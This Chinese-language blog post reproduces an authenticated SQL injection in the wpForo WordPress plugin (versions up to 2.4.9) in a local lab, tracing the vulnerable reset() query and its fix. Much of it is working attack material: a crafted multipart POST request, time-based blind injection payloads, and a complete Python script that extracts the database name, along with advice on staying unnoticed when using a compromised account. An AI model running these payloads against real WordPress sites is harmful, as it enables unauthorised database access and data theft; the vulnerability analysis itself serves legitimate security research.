漏洞描述
The wpForo Forum plugin for WordPress is vulnerable to SQL Injection
via the Subscriptions Manager in all versions up to, and including,
2.4.9 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes
it possible for authenticated attackers, with Subscriber-level access
and above, to append additional SQL queries into already existing
queries that can be used to extract sensitive information from the
database.
在 2.4.9 之前(包括 2.4.9)之前的所有版本中,WordPress 的 wpForo 论坛插件都容易受到订阅管理器的 SQL 注入,因为用户提供的参数转义不足,并且对现有 SQL 查询缺乏足够的准备。这使得具有订阅者级别及更高级别访问权限的经过身份验证的攻击者可以将其他 SQL 查询附加到现有查询中,这些查询可用于从数据库中提取敏感信息。
环境搭建
我是Ubuntu22搭建wordpress+apache2+php8.3+MySQL环境,怎么搭建官网教程有了我就不讲了,然后配置本地域名wordpress.local和apache2虚拟主机。
安装有漏洞版本的wpforo插件,以管理员身份点击主页的Forum按钮,进入论坛,创建一个话题。

这里为了演示漏洞效果,我还在管理员界面/wp-admin/admin.php?page=wpforo-forums创建了一个子论坛。

创建订阅者用户jack1,去论坛话题下面发评论,并订阅这个话题,我这里已经订阅了。

这里说一下vscode配置php调试的步骤,因为一开始不懂搞卡了很久。
php.ini有两个,一个是cli目录下面,一个是apache2目录下面。
bash
root@osstu-virtual-machine:/etc/php/8.3# ls
apache2 cli mods-available
开始在cli/php.ini配置调试,但是一直不能触发断点,后来知道web应用应该在apache2/php.ini里面配置,配置文件末尾添加下面的东西:
[xdebug]
zend_extension=xdebug.so
xdebug.mode=debug
xdebug.start_with_request=yes
xdebug.client_host=127.0.0.1 ; 或你的主机 IP
xdebug.client_port=9003 ; 默认端口,匹配 VSCode 的 launch.json
xdebug.log=/tmp/xdebug.log ; 可选,用于调试日志
然后安装php8.3的xdebug模块(网上/AI有教程)。
然后VSCODE的launch.json如下:
json
{
"version": "0.2.0",
"configurations": [
{
"name": "Listen for Xdebug",
"type": "php",
"request": "launch",
"port": 9003,
// 关键配置 - 路径映射(根据你的环境修改)
"pathMappings": {
"/var/www/html/wordpress": "${workspaceFolder}",
// Windows 示例: "C:\\xampp\\htdocs\\wordpress": "${workspaceFolder}"
},
// 可选优化配置
//"log": true,
"xdebugSettings": {
"max_children": 128,
"max_data": 1024,
"max_depth": 5
}
}
]
}
然后调试界面点击开始调试即可:

漏洞分析
还是先说结论:由于不知道哪发生了SQL注入,我丢给AI遍历了一下插件代码,最后发现漏洞点在wp-content/plugins/wpforo/modules/subscriptions/Subscriptions.php的reset方法中,这确实符合漏洞描述中"订阅管理器的SQL注入"

漏洞代码如下:
php
$sql = "DELETE FROM `" . WPF()->tables->subscribes . "` WHERE `type` IN('" . implode( "','", $types ) . "') AND " . $where;
if( ! $all && $data ) {
$forumids = array_keys( $data );
$sql .= " AND `itemid` NOT IN(" . implode( ',', $forumids ) . ")";
}
WPF()->db->query( $sql );
implode方法参见官方文档。
implode( ',', forumids )直接拼接进了SQL语句中,且implode的过滤可能没那么严格,并且直接用了query方法,**没有预编译**(后面的其他sql查询都用了prepare方法来预编译,但这里就没用),导致攻击者能从forumids变量下手。好了先说到这,细节看后文。
我也不是很懂wordpress插件的开发,问了下AI,大概讲解一下如何触发该方法:
插件入口和初始化
wp-content/plugins/wpforo/wpforo.php是插件的主入口文件,整个文件除了开头各种声明包含语句之外,就实现了一个final class wpforo 类
文件开头就包含require_once WPFORO_DIR . "/autoload.php";

autoload.php检测到没有WPF方法,就定义了这个方法,方法中创建了wpforo类的实例,可见这是单例模式的实现。
实例化类得调用构造方法,wpforo.php 的 __construct() 方法调用init_hooks(),注册各种 WordPress 钩子。

init_hooks会调用init()方法。
在 init() 方法中,调用 init_current_object() 来解析当前请求的 URL 和对象。
这会设置全局对象 $wpforo(通过 WPF() 函数访问),并加载所有类(包括订阅模块的 Actions 类)。
URL 解析和路由
wpForo 使用自定义 URL 结构来处理论坛页面。成员页面的 URL 格式基于官方文档:

比如http://192.168.6.138/participant/jack1/subscriptions/对应于成员模板(member template)的 "subscriptions" 标签页,用于显示和管理用户的订阅。也是本次漏洞触发点。

解析逻辑(在 wpforo.php 的 init_current_object() 方法中,AI说的,好吧这里我也看不懂) :
URL 被解析为路径数组(例如:['participant', 'jack1', 'subscriptions'])。
检测到 participant 路由后,设置 $this->current_object['template'] = 'subscriptions'。
用户 ID(userid)通过 user_slug(例如 jack1)解析(支持 ID 或昵称结构)。
模板被识别为成员模板(wpforo_is_member_template('subscriptions') 返回 true)。
加载订阅页面模板,显示用户的订阅列表(可以查看和取消订阅)。

reset方法的触发
经过全局搜索发现wp-content/plugins/wpforo/modules/subscriptions/classes/Actions.php的manager方法调用了reset方法。

manager() 方法是一个表单提交处理器,用于处理订阅管理(例如重置订阅列表)。它通过 POST 请求触发。我们看这个注释"subscribe_manager form submit action",并可以在同一个文件中搜索到subscribe_manager操作的注册(add_action方法):

一般这种操作方法会在数据包传参里面。
用户在订阅页面(/participant/{user_slug}/subscriptions/)上提交表单(例如,勾选论坛并点击"更新订阅"按钮)。

表单通过 POST发送数据,包括:
wpfaction=subscribe_manager(触发器)。
其他数据如 wpforo[userid]、wpforo[forums] 等。

钩子链和调用路径:
主 Actions 类(wp-content/plugins/wpforo/classes/Actions.php):
在 init_hooks() 中注册 add_action( 'wpforo_actions', [ $this, 'do_actions' ], 999 );。
do_actions() 方法检查 $_POST['wpfaction'] 或 WPF()->GET['wpfaction'],如果包含 'subscribe_manager',则触发 do_action( "wpforo_action_subscribe_manager" );。
订阅模块的 Actions 类(wp-content/plugins/wpforo/modules/subscriptions/classes/Actions.php):
在 init_hooks() 中注册 add_action( 'wpforo_action_subscribe_manager', [ $this, 'manager' ] );。
当 wpforo_action_subscribe_manager 钩子触发时,调用 manager() 方法。
manager() 方法执行:
验证表单(wpforo_verify_form())。
获取 POST 数据(用户 ID、论坛列表等)。
调用 WPF()->sbscrb->reset() 来更新订阅。
重定向回当前页面(wp_safe_redirect( wpforo_get_request_uri() );)。
好了终于调用到reset方法了。
reset方法做了啥?
咱也别管它做了啥,直接调试看看最后执行的SQL语句是什么。
订阅管理界面随便点击一个话题 订阅然后更新订阅:

调试的时候直接把断点下在reset方法的sql语句构造处。

打印POST数组和sql语句以及data变量如下,经过测试发现3就是我点击订阅的话题id。

data就是:话题id=>"forum"
后面forums取data的键也就是3,拼接进了sql语句。
因为是DELETE语句,所以是无回显sql注入,这里采用布尔盲注。
这里说一下,MySQL里面SLEEP函数返回值等价于false。

业务逻辑解读
sql
DELETE FROM `wp_wpforo_subscribes` WHERE `type` IN('forum','forum-topic','forums','forums-topics') AND `userid` = 2 AND `itemid` NOT IN(1)
当用户提交订阅表单时,插件执行以下操作:
保留勾选的订阅:用户勾选的 itemid(如 3)会被保留(更新或新增)。
删除未勾选的订阅:通过 NOT IN(用户勾选的itemid) 删除其他所有订阅。
当用户提交一个不存在的 itemid=9,条件itemid NOT IN(9)对所有记录为真(因为没有任何记录的 itemid是90)结果:所有订阅都会被删除(因为所有记录都满足NOT IN(9))。

但是我传入如下数据包的时候:
POST /participant/jack1/subscriptions/ HTTP/1.1
Host: 192.168.6.138
Priority: u=0, i
Referer: http://192.168.6.138/participant/jack1/subscriptions/
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0
Cookie: wp-settings-time-1=1762237749; wpforo_read_topics=%7B%221%22%3A%223%22%7D; wpforo_read_forums=%7B%222%22%3A%223%22%2C%221%22%3A%223%22%7D; wp-settings-2=mfold%3Do; wp-settings-time-2=1762311751; wordpress_logged_in_0b4dcdea5f6ab081ba95149545123b49=jack1%7C1762494142%7CbyYn8jver4RT4R7Xn46ZwPZVX5EJJeX7Est6dw3Jnzv%7Caa3a5aaa6c75c5bd334c85e47fd33f776060a5f9671bb927e22845ef44c59427
Origin: http://192.168.6.138
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=----geckoformboundary9450f9c015914b5f3d28aad2c21bbfc
Content-Length: 811
------geckoformboundary9450f9c015914b5f3d28aad2c21bbfc
Content-Disposition: form-data; name="wpfaction"
subscribe_manager
------geckoformboundary9450f9c015914b5f3d28aad2c21bbfc
Content-Disposition: form-data; name="wpforo[boardid]"
0
------geckoformboundary9450f9c015914b5f3d28aad2c21bbfc
Content-Disposition: form-data; name="wpforo[userid]"
2
------geckoformboundary9450f9c015914b5f3d28aad2c21bbfc
Content-Disposition: form-data; name="_wpfnonce"
7791c2ce46
------geckoformboundary9450f9c015914b5f3d28aad2c21bbfc
Content-Disposition: form-data; name="_wp_http_referer"
/participant/jack1/subscriptions/
------geckoformboundary9450f9c015914b5f3d28aad2c21bbfc
Content-Disposition: form-data; name="wpforo[forums][9) AND SLEEP(5) -- ]"
forum
------geckoformboundary9450f9c015914b5f3d28aad2c21bbfc--
确实睡眠了5秒,但是在数据库中添加的itemid=9,如果正常选只能是0、1、2、3,因为我只创建了2个论坛每个论坛分为{主题和帖子}、{话题}两个类型的订阅,因此最多四个itemid,这是我抓包验证过的。

但是如果传入wpforo[forums][88) OR SLEEP(5) -- ],则清空所有订阅,并增加itemid=88的一条记录。
我推测用OR的时候插件做了2件事,第一件是删除NOT IN(itemid)的记录,第二件如果不存在用户传入的itemid的记录则新增它,但是用AND注入的时候只增不删。但是还有个奇怪的问题,传入wpforo[forums][0) AND SLEEP(5) --]的时候没睡眠5秒,传入wpforo[forums][0) AND SLEEP(5) -- ]的时候睡眠5秒。


这里我就有点奇怪为什么少一个空格就不睡眠了,调试的时候打印sql也就是--后面有没有空格的区别。直到我去MySQL客户端试了下,发现--后面没空格直接报错,后面有空格则识别为无分号结尾,不执行。这里可能是我的知识不牢固,我之前一直以为sql注入什么--+、--空格什么的那个空格可以不要,现在我才知道MySQL注释是--后面必须加空格,后面去在线MySQL平台试过也是这样(好吧其实用个井号就得了)。

然而query方法允许执行无分号结尾的sql,这就是为什么--后面有空格能睡眠的原因。
不好意思扯远了,本人基础不牢才扯那么多🤓。回到正题,这里攻击者是jack1用户,此时传入下面的payload可获取信息:
sql
-- 睡眠5秒,因为我测试数据库是wordpress,w的ASCII是119
0) AND IF(ASCII(SUBSTRING(DATABASE(),1,1))=119, SLEEP(5), 0) --
--下面这个不会睡眠
0) AND IF(ASCII(SUBSTRING(DATABASE(),1,1))=19, SLEEP(5), 0) --
如果你是拿到不属于你的用户作为攻击者,推荐AND方式注入,因为OR可能会删除他的订阅,引起怀疑。
下面是自动化脚本:
python
import requests
import time
import string
def exploit_time_based_sqli():
# 目标URL和配置
url = "http://192.168.6.138/participant/jack1/subscriptions/"
boundary = "----geckoformboundary824a0414a1d205c4be7c17fa50764f25"
cookie = "wpforo_read_forums=%7B%222%22%3A%223%22%2C%221%22%3A%223%22%7D;wp-settings-2=mfold%3Do;wp-settings-time-2=1762311751;wp-settings-time-1=1762237749;wordpress_logged_in_0b4dcdea5f6ab081ba95149545123b49=jack1%7C1762506648%7C6JuKWdJBtvyucbtTRNeFwGi0lvk9go96lJKAkRPjnNS%7Cbd788d8de7aa8f5e1b350921d8dab697323cd3699ef572d6d45570aba13caf9a;wpforo_read_topics=%7B%221%22%3A%223%22%7D"
# 基础请求头
headers = {
"Host": "192.168.6.138",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Content-Type": f"multipart/form-data; boundary={boundary}",
"Origin": "http://192.168.6.138",
"Connection": "close",
"Referer": "http://192.168.6.138/participant/jack1/subscriptions/",
"Cookie": cookie,
"Upgrade-Insecure-Requests": "1"
}
# 数据库名称的字符位置
db_name = ""
position = 1
sleep_time = 3 # 注入中使用的睡眠时间
threshold = 3 # 时间阈值(秒)
print("开始数据库名称提取...")
# 首先获取基准响应时间
print("获取基准响应时间...")
base_payload = "1" # 无害payload,别和下面payload的id一样,不然失败,AI写的。
base_times = []
for _ in range(3):
body = build_request_body(base_payload, boundary)
start_time = time.time()
requests.post(url, headers=headers, data=body)
elapsed = time.time() - start_time
base_times.append(elapsed)
print(f"基准请求 {_+1}: {elapsed:.2f}秒")
time.sleep(1) # 避免请求过快
# 计算基准时间(取最小值加0.5秒作为安全阈值)
base_time = min(base_times) + 0.5
print(f"基准时间: {base_time:.2f}秒, 检测阈值: {threshold}秒")
# 循环提取数据库名称的每个字符
while True:
found_char = False
# 测试当前字符(ASCII 32-126)
for char_code in range(97, 128):
char = chr(char_code)
# 跳过可能引起问题的字符
if char in "\\\"'":
continue
# 构造Payload
payload = f"0) AND IF(ASCII(SUBSTRING(DATABASE(),{position},1))={char_code},SLEEP({sleep_time}),0)-- "
# 构造请求体
body = build_request_body(payload, boundary)
# 发送请求并计时(重复3次取平均值)
delays = []
for attempt in range(3):
start_time = time.time()
response = requests.post(url, headers=headers, data=body)
elapsed = time.time() - start_time
delays.append(elapsed)
time.sleep(1) # 避免请求过快
avg_delay = sum(delays) / len(delays)
print(f"位置 {position} 测试字符 '{char}' (ASCII {char_code}) - 平均延迟: {avg_delay:.2f}秒", end="\r")
# 检查是否触发延迟
if avg_delay >= threshold:
db_name += char
print(f"\n发现字符: 位置 {position} = '{char}' (ASCII {char_code}) - 平均延迟: {avg_delay:.2f}秒")
found_char = True
break
# 如果当前位置没有找到有效字符,结束循环
if not found_char:
if position == 1:
print("\n未找到数据库名称!")
else:
print(f"\n数据库名称: {db_name}")
break
position += 1
def build_request_body(payload, boundary):
"""构造多部分表单请求体"""
body = f"--{boundary}\r\n"
body += 'Content-Disposition: form-data; name="wpfaction"\r\n\r\n'
body += 'subscribe_manager\r\n'
body += f"--{boundary}\r\n"
body += 'Content-Disposition: form-data; name="wpforo[boardid]"\r\n\r\n'
body += '0\r\n'
body += f"--{boundary}\r\n"
body += 'Content-Disposition: form-data; name="wpforo[userid]"\r\n\r\n'
body += '2\r\n'
body += f"--{boundary}\r\n"
body += 'Content-Disposition: form-data; name="_wpfnonce"\r\n\r\n'
body += 'a8eca4084d\r\n'
body += f"--{boundary}\r\n"
body += 'Content-Disposition: form-data; name="_wp_http_referer"\r\n\r\n'
body += '/participant/jack1/subscriptions/\r\n'
body += f"--{boundary}\r\n"
body += f'Content-Disposition: form-data; name="wpforo[forums][{payload}]"\r\n\r\n'
body += 'forum\r\n'
body += f"--{boundary}--\r\n"
return body
if __name__ == "__main__":
exploit_time_based_sqli()

由于时间盲注非常麻烦,我就给个获取数据库名的脚本得了,感兴趣的师傅可以写更高级的脚本。注意cookie和_wpnonce和boundary根据实际情况替换
修复方法
升级插件到2.4.10版本
官方的修复如下:
php
//这里使用intval()对数组键值进行整数转换,完全消除了SQL注入的可能性。非数字字符会被过滤为0。
$forumids = array_map('intval', array_keys( $data ));
原版是
php
$forumids = array_keys( $data );

即使下面依然使用query方法,也不会有sql注入了。